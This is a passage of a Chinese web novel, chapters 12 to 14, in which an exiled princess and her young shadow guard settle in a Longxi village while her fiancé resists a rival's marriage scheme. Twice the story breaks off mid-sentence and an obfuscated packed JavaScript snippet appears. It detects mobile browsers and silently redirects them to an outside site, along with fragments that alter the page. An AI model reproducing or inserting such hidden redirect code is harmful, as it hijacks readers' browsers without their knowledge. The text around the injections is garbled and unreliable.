流民们心中再次一寒,踌躇着,无人再敢跟随。 板车在山路摇摇晃晃,驶向陇西。 …… 入陇西郡地界那天,是个薄雨天,路上流民众多。 李眠玉坐在板车上,头上盖了一件粗布麻衫遮挡,脸上也戴了一块方巾遮住脸,紧紧挨着燕寔,她看着周围面黄肌瘦衣衫褴褛的流民,情绪便有些低落。 一路上,她听了太多人怨愤大周皇帝昏庸无能让贼子轻易占了京都,她悲戚愤怒,想反驳皇祖父最是躬勤政事,却只能强忍着不能开口。 以至于到陇西时,心情也蔫蔫儿的。 只是板车刚进陇西地界没多大会儿,被人重重撞了一下,李眠玉整个身体一晃就要往下滑,燕寔手一揽,将她拖进了怀里,她赶忙抱住他胳膊。 “前面有粥棚。”朱大城的声音忽然响起,伴随着的还有流民忽然疾奔的纷杂声音。 李眠玉自是知道粥棚是什么,有灾时,官府或是豪贵会搭起棚子熬粥给流民分食。 粥棚多是在城门外搭建,但如今只是刚入陇西地界没多久,远远的还未到城池,怎会有粥棚? 李眠玉在燕寔怀里好奇扭头看去,前方四十丈外有一驿站,驿站前有好几处粥棚,流民们奔着跑去,那儿堵满了人。 “陈家村不过驿站,走前面岔路就往山林去,不过到村里至少到晚上了,去要一碗粥喝正好。”陈绣娥也探头看了看,道。 李眠玉不愿意与流民挤着去要一碗粥,她摇了摇头,“我不去。” 燕寔自然也不会去,扶着李眠玉从板车下来。 朱大城将板车推到路边,便和陈绣娥一道挤了过去。 李眠玉揉着酸疼的腰站在一旁,仰头看燕寔时,眼底又有些晶莹,轻轻问他:“燕寔,你说我还能见到祖父吗?” “能。” 李眠玉每每听燕寔这样说,心情就会好一些。 正此时,一阵官兵喝斥的声音响起,伴随着马匹嘶鸣声,原本在路上不断拥挤着朝前的流民被驱赶到路两旁。 燕寔速度极快,搂起李眠玉便往后退了两步,堪堪躲过倒下来的流民,也藏身人群之后,警惕看向前方。 李眠玉受了惊,靠在燕寔怀里愤愤往前看去。 与衣衫褴褛的流民不同,一辆华盖香车从路的尽头驶来,四角挂着流苏,流苏下面又晃着铃铛,四匹宝驹并驾齐驱,马鞍上都镶嵌着宝石,车轮驶过时,铃铛脆响,香气袭人。 李眠玉许久没见过这般华贵的马车,一时有些晃神,竟是觉得这香车比起她曾经的公主座驾也不差什么了。 薄雨濛濛,风吹拂过车帘,里面隐约坐着两人,靠着窗的是个穿着月白长衫的男子。 “那是什么人啊?”李眠玉看着马车远去,眉头紧蹙,问燕寔。 燕寔的目光此时才从马车收回,摇摇头,“不知。” 李眠玉也没有再问,她看看那香车,再看看自己与流民无异的打扮,鼻子一酸,实无心情。 这时朱大城护着陈绣娥回来了。 “粥已经分完了,白去了,还好小玉你没过去,方才挤得慌,有人摔倒被踩在脚底下,怕是再起不来了。”陈绣娥话到这顿了顿,想起来李眠玉娇气不爱听这些,话锋一转,又道,“原是咱们陇西节度使的女儿生辰到了,又定了亲,心中喜悦,又因着她心善,粥棚便一路铺到了这里。” 李眠玉点点头,心不在焉,“原是如此呀。” 陈绣娥瞧着李眠玉兴致不高,便想说点让她高兴的,笑着就说:“小玉,你与小燕可是也定了亲的表兄妹?到时到了陈家村可要把礼办了?” 12.第12章 “表哥,方才我说的,你究竟如何想?” 华盖香车里,婉丽的女郎靠在迎枕旁,她声音轻柔,明眸微弯,歪头看对面的人。 年轻公子广袖长衣,秋水为神,温玉为骨,垂眸坐在那儿看书便是一道风景。 卢姝月盯着崔云祈片刻,微微有些出神,她年幼时见到这位表哥时,便觉得只有他配得上自己,暗自下了决心,将来必要嫁给他,可他偏偏让那老皇帝瞧中,给那父母双亡的孤哀子指作驸马。 陇西节度使独女再风光也及不上那被皇帝宠爱封作公主的孤哀子半分,她只好再选佳婿。 可如今,大周覆灭了。 她不信崔家离开京都投奔陇西没有别番心思。 百年崔氏,当是知晓如何使家族昌盛延续。 崔云祈放下书,抬头看过去,他唇角微微翘着,面容温柔,眸如春水,“表妹所言极善,可惜我已有婚约,天下皆知吾妻是大周文昌帝亲封之宁国公主。” 卢姝月浅浅笑了一下,婉婉道:“表哥,可是姨父还会同意表哥与宁国公主成亲吗?” 崔云祈但笑不语,温笑看她。 卢姝月柔柔轻语:“表哥,你我联姻,想必是我爹与姨父喜闻乐见的,同时也能安了崔氏一族的心。陇西地处枢要,若非如此,姨父不会来此,我知晓崔家姻亲众多,不愁与别家扯不上关系。” 崔云祈温润面容依旧,疏离有礼:“如今我只是表兄的幕僚而已,配不上表妹。” 卢姝月端庄温雅,端起茶盏倒了一杯茶推到崔云祈面前,“表哥也该为姨母和云湛表弟多考虑一些,据我所知,当年表哥想与宁国公主成婚,也是为了姨母和云湛表弟……不对,我想表哥早已考虑到姨母和表弟了,否则今日怎会陪我去庙里求姻缘呢?” 她说到这,没有再多说下去,只目光灼灼看着崔云祈。 崔云祈却移开了目光,重新拿起书,看了两行后,目的阴翳色渐起,却轻声笑了下,再抬起头时,面上温柔:“据我所知,表妹早已罗敷有夫,只不知卢二表兄知不知表妹今日所为?” 卢三忠有六子,长子卢元珺、次子卢元柏为节度使夫人所生,卢元柏幼年被拐,落为草寇,在山寨十二年。 卢姝月面如观音温婉,脾性骄纵霸道,及笄之年被山匪绑上山,曾委身多人,二年后与卢元柏一齐归来。 卢元柏归来时是以卢姝月之夫之名,不曾想却被其母看到耳下胎记,认出其是幼年被拐之子。 此卢家不为人知之秘。 卢姝月笑容一顿,脸色白了,盯着崔云祈的眼底却腾得烧起火,她拿起桌上茶碗,一杯茶泼了过去。 崔云祈温雅一笑,淡然拿出帕子垂眸擦拭。 -- “才不是!”少女急促又羞恼的声音在一片嘈杂里清亮如莺啼。 崔云祈擦脸的手顿了顿,很快又继续,他轻轻撩起车帘,故作避开卢姝月的模样,偏头朝外看去。 入眼皆是脏乱流民,枯瘦将死之相。 玉儿玉净花明,玲珑可人,性好洁,尚容仪,宁死不会与此等流民混为一道,又怎会出现在这里呢? 但他又想起南清寺,想起南清寺中的所见,眼睫轻颤,又朝人群中细细看了一眼,一无所获。 他自然地放下了帘子,捏着帕子的手却一点点攥紧。 -- 李眠玉面红耳赤,几乎是从燕寔怀里跳出来的,大喊一声后,发觉周围几道视线看过来,羞赧万分,又压低了声音:“陈娘子!我与他不是表兄妹,更没有定亲!” 她说罢,又扯了扯燕寔袖子,“你快与陈娘子解释呀!” 少年看看她,偏头对陈娘子道:“我与她不是表兄妹,也没有定亲。” 李眠玉情绪激动着急时便会脸颊通红,眼睛也像是浸着水一样,不熟悉的人便以为她是在羞涩。 正如此刻的陈绣娥,她慈爱地看着李眠玉,只当她害羞撒娇了,嘴里顺着她说:“好好好,不是表兄妹,也没有定亲。” 反正就算没有定亲,也该是差不多了,否则小燕凭什么对小玉这样贴心呢?连姓氏都没告诉他们呢,若是亲兄妹,何必如此呢? 李眠玉见陈绣娥信了,便松了口气,再次强调:“我与他真的只是……只是兄妹关系。”本要脱口而出暗卫两字,话到嘴边长了脑子没说出来。 陈绣娥听罢却抿唇一笑,与朱大城对视一眼,眼神中尽写着“瞧这说话还磕磕绊绊的,傻子才信他们是兄妹呢!” 燕寔不做声,杵在一旁只做一根不会说话的竹子。 有了这事打岔,李眠玉更是没多关心什么节度使女儿生不生日,定不定亲的事了,羞恼不已,以至于待板车重新悄然后退到山路上时,她忍不住偏头对陈绣娥道:“陈娘子,我其实已是定了亲了。” 她的语气一本正经,十分严肃。 陈绣娥朝一旁闷声不吭垂头摸剑的燕寔瞧了一眼,又忍不住捂嘴笑,问:“好,我知了。” 李眠玉忍了忍,还是忍不住对她说:“我未婚夫龙章凤姿,温润如玉,非寻常人可比。”她语气骄矜,却有炫耀之意。 常人…… 燕寔慢慢地看了一眼李眠玉,依旧没做声。 陈绣娥看看燕寔,少年样貌俊俏秀丽,堪称龙章凤姿,脸还白,岂不就是温润如白玉?那一身气势或凌厉或沉静,常人怎有这般的? 但她又看李眠玉这样认真与她解释,多少也有些迟疑了。 可若不是未婚夫妻,怎会同塌而眠? 陈绣娥一个田庄农妇不敢深想下去大户人家小娘子的生活,这回点了点头,“我真的知了,小燕不是你未婚夫。” 李眠玉长舒出一口气,便靠回燕寔那儿。 燕寔安安静静的,正闭目抱胸养神,她本想与他说话,见他如此便也只靠着他不说话了。 不过不知是不是因着方才陈娘子的话,李眠玉偏头看燕寔的脸,浓眉斜飞入鬓,鼻梁挺秀,下颌流畅漂亮,唇红齿白……她的暗卫确实生得金相玉质,俊俏秀丽呢! 若他是寻常人家的公子,该也是定亲了吧? 对了!暗卫会成亲吗? 李眠玉盯着燕寔看了会儿,恰好板车压过一处小坑,她晃了一下,便趴在了他胳膊上,再抬眼时,便见他已经睁开了眼,眼睫微垂,漆黑的眼直直朝她看过来。 她愣了一下,想起刚才的问题,好奇问他:“燕寔,你们暗卫会成亲的吗?”因着陈娘子就在旁边,她的声音很轻,又怕燕寔听不到,便稍稍仰了脖子,朝他耳边凑过去。 少年暗卫:“不知道。” 李眠玉不理解,要么会成亲,要么不会成亲,怎么会不知道呢? 她心里有疑问便小声问了出来。 燕寔似乎没听清楚,稍稍朝她靠了一些,低下了头,李眠玉便又从过去一些,几乎快贴着他耳朵:“要么成亲,要么不成亲,怎么会不知道?” “因为死得早。”少年语气平静。 “啊……” 他没有多说什么,但没关系,李眠玉会自己思考。比如,她已经想到了暗卫与小娘子定下终身,却忽然丧命,临终前流下苦痛不甘的泪,又比如暗卫活不到娶妻的年纪,便死在了保护人的路上……她的脸上露出了抱歉的神色,“对不起……” 燕寔看着她,低声:“对不起?” 李眠玉心想方才她的问题对于暗卫来说一定是极其残忍的,她看着燕寔,想到上次他皮肉翻卷的模样,后来他再没在她面前脱下衣服过,她都不知他恢复成什么样……但是不管如何说,她不想她的暗卫死。 她很轻地在他耳边说:“你一定不会死的,你一定会活得长长久久。” “为什么?” “因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059264|178322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为我不批准你死。” 燕寔垂眸看她,静了一会儿,才是再开口:“然后呢?” 李眠玉睫毛不眨,浅浅笑了一下,有些不好意思,又有些兴奋的模样,“然后你喜欢什么样的小娘子?将来我给你找最姝丽的小娘子相看,一定让你成亲。” 少年没说话,看她一眼,便又闭上了眼睛,闷声说:“不知道。” 怎么这都不知道! 李眠玉看看燕寔,忽然幽幽叹了口气,道:“你还小,还未及冠,情窦没开,这也很正常,等你再长大些情窦开了你就知道了。” 燕寔忍不住睁开眼再看她一眼。 李眠玉读懂了他的眼神,立刻扬唇笑:“我数着日子呢,再过一日,后日我就及笄了,我长大了,我还早熟,情窦早开,我与你不一样,我早就知道我喜欢什么样的郎君。” 燕寔哦了一声,立即闭上了眼睛。 李眠玉本想再与他说说崔云祈,但看燕寔已经闭上了眼,便有些遗憾地闭上了嘴。 旁边陈绣娥也朝着朱大城挨过去,与他说着记忆里的陈家村,近乡情怯起来,担忧回了村子却物是人非,何况,她还邀了人一同回村呢。 朱大城笑得憨实:“不论如何,陈家村该是能有一块地让我搭一间屋做我们的家。” 陈绣娥便点头也笑,很快又忧虑起来:“也不知两个孩子可曾找得到这里来。” “会的,大儿极会认路又机灵,会寻来的。”朱大城翘着一点没有担忧,“又像我生得健壮,定能带他妹妹过来。” 陈绣娥再次点头,她看着这近在咫尺的山,忽然察觉身旁安静了下来,偏头一看,看到那玉雪可人的小娘子已是倚在少年怀里睡了过去。 她看了看,又忍不住笑起来。 -- 日落西山时,华盖香车终于进了城,在节度使府停下,崔云祈将卢姝月送回。 卢姝月从车上下来时,脸色还有些苍白,只是扭头朝崔云祈看来时神色跋扈,全然不见先前温婉模样,“崔氏长公子,果真名不虚传,令姝月长了见识。” 说罢,她又笑起来,“可你崔云祈如今不再是京都贵公子,不过是附庸于我父的小小棋子,就算知晓我与次兄的关系又如何?我要你娶我,你便只能娶我,哪怕做只绿头龟呢。” 说罢,她抬腿进府。 崔云祈在节度使府门前被他当着诸多人的面下了脸面,面色却一贯的温柔如春,他转身上了马,袍袖散开,飘飘渺渺的,清雅依旧。 只是这温润模样待回到府中便消失殆尽。 他面色阴沉,在椅上坐下,低头抿了口茶水,再抬起脸时,却又恢复了温柔模样,他偏头看向自己随从:“去查清楚今日入陇西地界的流民中可有疑似玉儿之人。” 随从应声。 崔云祈坐着喝茶,一盏茶的工夫,堂外来人:“大公子,相爷有请。” 他笑了一下,放下茶,拢了拢袖子,起身。 -- 李眠玉从板车上下来后,看着夕阳下藏在山坳里的村子,临山近水,村居错落有致,别有风景,她的眼底也染上了霞色,她拉着燕寔的袖子,眼圈莫名又有些红了,泪又要盈盈落下,“燕寔,在找到祖父前,我们就在这安顿了,是吗?” 燕寔看着她点了点头,又很快看向不远处的陈绣娥与朱大城。 两人正在一户村居前与人说话。 李眠玉也看了过去,看到了陈娘子瞬间红了的眼睛,还被人推搡了一下,朱大城立即挡过去,对方一下摔在了地上,很快 ,屋子里又出来几人,一下将陈娘子与朱大城围住。 她呆了呆,被这粗鲁的场景惊到,立即不看风景了,拉着燕寔就往那儿跑。 真是岂有此理,当着她的面欺负陈娘子,当她和她的暗卫是死的吗? 她和她的暗卫有的是力气和手段! 13.第13章 “什么妹妹,我嫁来陈家二十年了,不知这家里还有姑子!哪里来的臭要饭的,赶紧从我家院里滚远点!”泼辣的丰腴妇人叉着腰站在院里,手指着陈绣娥夫妻就骂。 李眠玉拉着燕寔跑到院门前听到的就是这句,昂着下巴看了一眼燕寔。 燕寔不等她指令早已已经一脚踹出去了。 李眠玉看着她的暗卫一脚就将门踹飞了,那飞出去的门一下往里飞,朱大城动作敏锐,环着陈绣娥避开,正中那妇人面门。 “砰——”一声,妇人被撞得后退两步,倒在地上,懵了一下,后知后觉惨叫。 “娘!”“招娣!”混乱的几声,院里的几人纷纷去看地上的妇人,再扭头去看院门口的人。 李眠玉面上冷着,缓缓走进来,一张娇美玉容竟是真有几分威仪,少年暗卫稍退半步,俊俏面容更冷,唇抿成一条直线,漆黑的眼幽深凌厉,如危险的豹猫,视线慢慢扫过几人。 两人无声走进来,一身气势,竟是将里面的几人都震住了。 包括陈绣娥和朱大城。 李眠玉环视了一圈院子里的人,回想着陈绣娥与她说过的话,视线落在那肤黑的中年男子身上,“你,陈高柱,二十年前成亲,成亲半年后,陈绣娥因救母卖身离家,你为长兄,竟是连自己亲妹都识不得,莫非年既老,两目眊然?” 她再看向那倒在地上的丰腴妇人,眼中露出好奇,“你,陈高柱之妻,陈绣娥离家前你已入陈家半年,你岂能没见过她?瞧你躯脂膏盈,肉山巍巍耸,却目盲甚盛至此地步,岂造物分膏,独独遗此二窍?” 李眠玉又看向那两个看起来年轻的一男一女,一个生得面黑且肥壮,另一个虽面白却眼小鼻塌,她皱皱眉,“你们,瞧年纪当是陈高柱之子女,尔等出生时,陈绣娥已离家,如今姑至而疑,人之常情,然陌路相逢亦应有礼,怎能如衣冠禽兽,逢人辄噬?” 院中几人愣愣的,地上的丰腴妇人已经疼得站起来了,靠着自己儿子,鼻子里流下两行鼻血,浑身肉都在发颤,“哪来的黄毛丫头,叽叽咕咕说啥呢!都看着作甚?还不快给我将这些乞丐打出去!” 李眠玉呆了一瞬,面一红,看向身侧燕寔,发愁又委屈:“他们听不懂我在说什么。” 她可是借此机会将离宫后的怨气都借此机会发了出去呢! 燕寔:“……反正他们听完了。” 李眠玉觉得她的暗卫言之有理,但她实在不会吵架,在宫中时从来没人敢与她吵,以至于她一时不知下一步该怎么办。 让燕寔直接揍人? 是不是不大好…… 妇人身上的肉都在抖,肿着一张脸气得指挥着儿子拿一旁的扁担,指挥着女儿拿扫帚,又指挥着丈夫拿耙子,可一时竟是没人动,她跺了跺脚,“都聋了吗?” 但最后动的只有那陈高柱,他拿着耙子冲过来,被燕寔一脚踹远了去,惨叫一声,怕是肋骨都断了! “爹!”那对儿女此时才回过神来,朝陈高柱扑去。 “大哥!”陈绣娥也惊呼一声,只是她想上前却被朱大城拉住了,她面色惨然,咬着唇流泪,看着地上的黑面汉子道:“大哥,小时候你也疼我的!如果爹娘还在,怎么会看你这样!你讨了个屠户女儿做媳妇,日子过得好了,就忘了自己妹妹吗!呸,猪狗不如!” 说罢,她红着眼睛朝院门走来,路过李眠玉时,伸手拉住她一齐往外走。 李眠玉回头看了一眼,鼓着脸跟着骂一句:“猪狗不如!” 燕寔走在她后面,挡住她视线,她才扭回头,挽着陈娘子的手往外去。 院子里的陈高柱几人都被燕寔那两脚给震慑住了,半点声都没敢发出来。 陈家就在村头,此时正是炊烟袅袅时,村中小道没有人,只李眠玉四人,和拉着板车的马。 陈绣娥低着头还在抹泪,妇人面上难受,喃喃道:“真是不知大哥会不认我,当初我离家时,他也掉了几颗泪,现在见我落魄回来,竟都不肯分两间屋。” 陈家的院子修建齐整,比起寻常村里的人家要好多好几间屋子,这些年想来条件尚可。 朱大城还是憨厚模样,很沉稳:“毕竟二十年了,人儿女都那样大了。” 李眠玉义愤填膺:“血缘至亲,怎能因为分开太久而不认呢!” 陈绣娥虽是农妇,但因着卖身做活,心思还是敏感的,被伤到了,眼圈红着,抹了抹眼睛,好半晌后对李眠玉和燕寔露出歉意,“我原以为回陈家村就能有着落了,如今……” 李眠玉又掏出一颗果子塞到陈绣娥手里,“吃吧,这个很甜。” 陈绣娥看看手心的果子,又看看李眠玉,笑了起来,转头问朱大城:“我们今晚住哪里?” 朱大城道:“瞧瞧这村里可有破落没人住的旧屋,先将就一晚上,明日去找村长看看。” 陈绣娥点头。 李眠玉竖起耳朵在旁边听着,也悄悄扯了扯燕寔袖子,抬眼看他一眼,小声:“那我们也寻一间旧屋。” 燕寔低头看她,点头,从怀里掏出颗果子,重新放进她手心里。 李眠玉高兴地接着,也不问他哪里弄来的,她又想起来一事,忽的转头问陈绣娥:“陈娘子,你不是还有一个二哥吗?” 陈绣娥愣了一下,方才在陈家院子情绪激动,倒是全然将次兄忘记了,她迟疑了一下,说:“我离家时,二哥就比我大一岁,大哥都这样,二哥……” 李眠玉俏脸天真柔软:“刚才动静那样大都没见你二哥出来,他许是都不住在那里了,或是在外未归来,指不定他还念着你呢!” 陈绣娥听着耳畔这娇声细语,看小娘子这样美好,眼眶湿润,点头。 一行人从村头往村尾去,李眠玉本是被陈绣娥挽着手的,但她看到陈绣娥与亲人相见,鼻子也有些酸……她又想皇祖父了,不知皇祖父如何了,她忍不住渐渐挨近了燕寔。 燕寔垂头看她一眼,稍稍放缓了步子。 他们一路走到村尾,才寻到两处破败的屋子,且不在一处,一处在村中间的地方,一处则在人少的村尾。 村中的那一处破屋更破败一些,且屋小,村尾那一处要宽阔一些,且也没那般破败,主人似离去也没太久,除了脏乱些外无甚不好……当然,这是朱大城和陈绣娥这样想。 李眠玉看着这两间屋,虽已有心理准备,但还是眉头皱紧。 这样黑的土墙,这样多的灰,里面尽是蛛网,指不定哪里会蹿出蛇来,怎么住人?还不如和燕寔打个帐篷睡在草地上…… “小玉,今夜你便与小燕在这过一夜,等明日我去村长。”找到今晚过夜的地方,陈绣娥就松了口气。 李眠玉忙收回神思,点了头。 陈绣娥和朱大城拿着包袱就走了,板车和马都留在村尾这一处土屋前。 李眠玉等人走后,就垮下肩膀,小声嘀咕:“这屋子不如没有,这样破。” 燕寔已经环视一圈四周,让李眠玉坐板车上去,他声音极清,但语气很平,“公主去坐。” 李眠玉再不想坐板车了,她幽幽叹气,如今没有旁人在,她可以与她的暗卫好好诉说一番心中思念,“燕寔,你说皇祖父如今会不会已经安全了正在找我呢?” 燕寔弯腰开始收拾地上倒塌的杂物,丢去外面聚成一小堆,又找了些木料,在屋子里窗下用火折子点燃,照亮这里。 李眠玉像小尾巴一样跟在清瘦高挑的少年身后,看着这火光亮起后越发破败幽暗的屋子,失落伤感,眼眶渐渐湿润:“我想皇祖父和青铃姑姑还有崔云祈了,他们一定想不到我竟然会住进这样的地方。说起崔云祈,明日待陈娘子找到村长,我就去借纸笔来写信。” 燕寔找到一只扫帚,扫了一下地,便扬起一阵尘灰,李眠玉一下皱了脸,捂住鼻子,流到一半的泪顿住,“咳咳,咳咳!燕寔!” 少年回头,俊俏秀丽,挺拔的身躯在火光下巍峨如山,他漆黑幽静的眼看过来,“公主出去等。” 李眠玉是不满的,可想想她的暗卫力气大又能打……她作为公主就不和他计较了,瞪了他两眼就出去了。 她还是坐在了那板车上,两只脚抵在地上,左右看看,见四周无人,燕寔又在屋里打扫,便抬起手,刚想碰触,想了想又转过身面朝着屋子,以防四周暗处有她不知道的人。 李眠玉低下头,手轻轻放在胸口揉了揉,这一个月来,胸口越发肿胀,身上粗布衣衫磨得疼,她也只能偷偷趁着燕寔不注意揉一揉。 自癸水来,从前青铃姑姑都是用脂膏每日给她揉按的,说这样才长得好。 李眠玉幽幽叹了口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063652|178322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过还好,这一路上都没来癸水。 隔着这样粗糙的衣服揉还是不太舒服,李眠玉想看看燕寔有没有注意她这里便抬头,一抬头,燕寔刚好拿着杂物出来。 少年目光漆黑,直直看来。 李眠玉呆了一呆,赶忙将手从胸上放下来,十足慌乱却故作自然地说:“这么快收拾好了?” 燕寔扭过了头,又点了下头,出去将杂物堆在角落里。 李眠玉红着脸静了会儿,才从板车上跳下来,慢吞吞往屋子里挪,她细细打量着四周,还是和之前一样,到处乌漆墨黑的,连一张床都没有,只有一处奇怪的半人高的高台。 燕寔将油布铺在了上面。 李眠玉就知道今晚该睡在那上面了,她几步挪过去,迟疑了会儿还是没坐上去,不多时听到燕寔回来便扭头看过去,“燕寔,今晚上我们睡这儿吗?” “是公主睡这儿。”少年暗卫看着她,“今晚我睡外面。” 李眠玉一听就愣了,开口就要问为什么,可很快就想起来,他们都有屋了,自然不该再如在野外一般睡一起。 可是……可是…… 李眠玉可是了半天,想不出什么来,脑袋和浆糊一样,哦了一声,接着便一直有些神思飘远,动作机械地吃了一点剌喉咙的干粮。 院里有井水,水质还算清澈,燕寔打了水上来,李眠玉浑浑噩噩洗漱了一番,又像幽魂一般回了那间黑乎乎的屋子。 她站在那高台旁,转头看燕寔似要将门关上,她连忙回过神:“燕寔!” 燕寔关门动作一顿,抬眼朝她看来。 李眠玉心里几分委屈几分窘迫,她憋了半天指了指身旁的高台:“这是什么?” “土炕。” “土炕?” “陇西这儿的床。” 李眠玉哦了一声,屁股小心坐在油布上,她两只手都扯着袖子,燕寔等着她说话,就站在门口没有动。 她有些委屈和羞赧,自己一介堂堂公主如今竟非要暗卫陪着睡,说出去叫人笑话。 李眠玉支吾半天,最后踢掉鞋子,直挺挺往土炕上一躺,再翻过身,不再理燕寔。 燕寔静等了一会儿,轻轻关上了门。 他靠着墙,双手环胸闭目站了会儿,很快又缓缓睁开眼睛,又幽幽叹了口气。 少年很快站直了身体,回身开了门。 进门前,他低头看了看那道门槛,最终跨了进去。 李眠玉正蜷缩在土炕上默默流泪,这土炕这样硬,这样难闻,屋子里这样阴森,难道她住在这村子里都要一个人睡在这样可怕的地方吗? 她想回去找皇祖父、找青铃姑姑、找崔云祈…… 李眠玉察觉身后忽然贴过来什么,一下汗毛竖立,呆一瞬后坐起来就惊叫:“燕寔!” 但当她惊恐的眼睛落在土炕上时,看到的却是她的暗卫沉静俊俏的脸,她的鼻子一酸,却喊道:“大胆!谁批准你爬上来的?” 燕寔安静看着她,展开手臂,“睡吗?” 李眠玉涨红了脸,捏着自己衣摆好半晌没动。 燕寔闭上了眼睛。 李眠玉看了看,忸怩了一会儿,才严肃说:“你是我的暗卫,皇祖父把你给我了,我让你做什么你就得做什么。” “嗯。”少年暗卫声音低得仿佛要睡着了。 李眠玉这才长长呼出一口气,躺了下来,在他臂上寻了个舒适的位置闭上眼。 她很快睡去,燕寔却有些睡不着。 他睁开眼看着乌漆漆的屋顶,好一会儿低下头,盯着怀里的人看,目光缓缓从她秀气的眉,到卷翘的睫毛,再到玲珑的鼻子,最后落到殷红的唇瓣上。 燕寔盯着看了许久,直到柴火烧得噼啪声响,才是闭上了漆黑的眼。 -- 夜半,陇西郡郡治,崔府。 崔云祈步履有些不稳地推开门,慢慢踱步到榻边躺下,脸色苍白,春水般的眉眼染着阴翳,侍从满脸担心跟在身旁,“公子的伤……” “可有寻到公主下落?” “……还未曾。” “出去。” 侍从不敢多话,退出了屋子,关上了门。 崔云祈从怀里取出一只金色香毬,垂下眼睫,呢喃:“玉儿,你究竟在哪里?” 14.第14章 李眠玉昨夜里睡得极好,听着清晨鸟啼声睁开眼时,看到身旁的燕寔还未起,先是一怔,便掩不住心中高兴,冲他一笑,“燕寔,你今日怎么还没起?” 初初醒来,她的声音带着惺忪的沙哑,绵软轻快。 燕寔偏过头看她,少年如玉的脸庞近在咫尺,乌黑的瞳仁里甚至能清晰地看到她被如云乌发缠绕的脸,他的呼吸就缠绕着她的呼吸。 李眠玉呆了一下,才后知后觉他们每一日都这样亲昵、这样近地睡在一起。 她望着她的暗卫俊俏的脸,心生赧然,脸慢腾腾红了,昨夜里理直气壮的命令在此刻都变得过分了一些。 她终于稍稍领悟到,她是有未婚夫的人,怎能和旁的人这样亲昵呢? 哪怕是她的暗卫。 可李眠玉转瞬又觉得燕寔是皇祖父给她的暗卫啊,养暗卫不就是为了想让他做什么就让他做什么吗? “麻了。”燕寔的声音低低的,目光也已经移开了。 李眠玉收回神,察觉到自己整个人几乎都要压在燕寔身上,忙红着脸将手脚从他身上收回来,她坐在土炕上,不好意思地看他。 燕寔半天没有动,垂着眼睛躺着。 李眠玉的目光很自然地落在她的暗卫胸口,许是她的睡姿太差,他的衣襟扯开了些,露出一片精壮的胸膛,锁骨横直的一条嵌在肩那儿,肌理沟壑分明,一向束起的头发也散乱了下来,胡乱堆叠在脖颈里,黑的黑,白的白,红的红。 她不知是为何,竟是忍不住看得呆住了,待她回过神时,燕寔睁开了眼,恰好与她看来。 李眠玉瞬间腮颊滚烫,呼吸都停滞了,她分明没有偷看,只是随意地看过去,可竟有偷窥被抓包的心虚紧张之感,开口时也有些支支吾吾起来,“那个……你身上的伤怎么样了?” 燕寔看着她,坐了起来,如墨的长发便披散在背后。 李眠玉从来没看过他这个样子,她的暗卫总是将头发扎得高高的,从不曾这样散发过,平日里就俊俏的脸越发秀气。 燕寔低下头,解开了衣襟,脱下了衣服,再抬头看向她。 李眠玉腮畔如涂抹艳色胭脂,声音都打颤了:“你脱衣服做什么!” “不是问我的伤么?”燕寔眼睛漆黑幽静,声音也很平淡。 ……话是没错,但是、但是也不必脱衣服啊! “你跟我说好没好就成了啊!”李眠玉都不知自己在说什么了,“我们躺在一张床……土炕上,你还脱衣服,让别人瞧见了不好!” 少年静一会儿,低声:“那你看不看我的伤?” 李眠玉:“……” 她张了张嘴,脑袋里一片混乱,听到“伤”字终于想起来先前自己问出的话,游移的目光重新落到他身上。 少年暗卫身形修长,器宇轩昂,肩膀宽阔,腰腹劲瘦,上面几道纵横交错的伤……对对,她是来看伤的!李眠玉稳住心神,努力将目光聚焦在那些伤痕上,许多都是旧疤,先前带她奔亡时落下的新伤结了痂,还未好全。 她忍不住凑近了些,伸出指尖轻轻按在肩上那道最深最长的伤上,又想起了那一晚危急的情况,眼眶都有些湿了,“怎么这样久还没好,很疼的吧?” 燕寔看着她,肌肉绷紧了一些,半晌后才低声:“能忍。” 李眠玉垂着眼睫,情绪有些低落,“我都不知你的伤还没好,那伤药还有没有?” 话毕,她仰起头来,额心擦过一片柔软,她一怔,目光先是落在燕寔殷红的唇瓣上,再是往上对上他漆黑的眼睛。 “笃笃——”门外传来敲门声,伴随着陈绣娥的声音,“小玉,你们可是醒了?” 李眠玉猛然惊醒一般,从土炕上弹起来就要跳下去,可目光一触到黑乎乎的地,又急忙忙收回脚,忙乱地套上鞋,跑去开门。 乡下的房子四四方方一间,门对着的便是土炕,陈绣娥就看着门一打开,李眠玉腮颊红润紧张,她余光又一扫,看到燕寔坐在土炕上正低着头默默穿衣,隐约可见袒露的胸膛。 陈绣娥这般生了两个孩子的妇人顿时也有些面臊起来,暗想自己是否来得不是时候,一时竟是没说话。 还是李眠玉挡住了她的目光,忍不住拔高了声音:“陈娘子这般早来寻我们是有何事?” 陈绣娥才是想起来自己是做什么的,她眼眶红肿,“我去了一趟村长那儿,如今我二哥如今不在村里了,村里如今无人居住的屋子就两处,我与大城打算修一修先住进来,来问问你们的打算。” 她与李眠玉细细说了这事。 当年陈绣娥离家后不久,陈高柱之媳钱招娣便嫌其二哥陈有树在家占地,左右挑他的不是,后借着有孕将他赶出去自立门户。 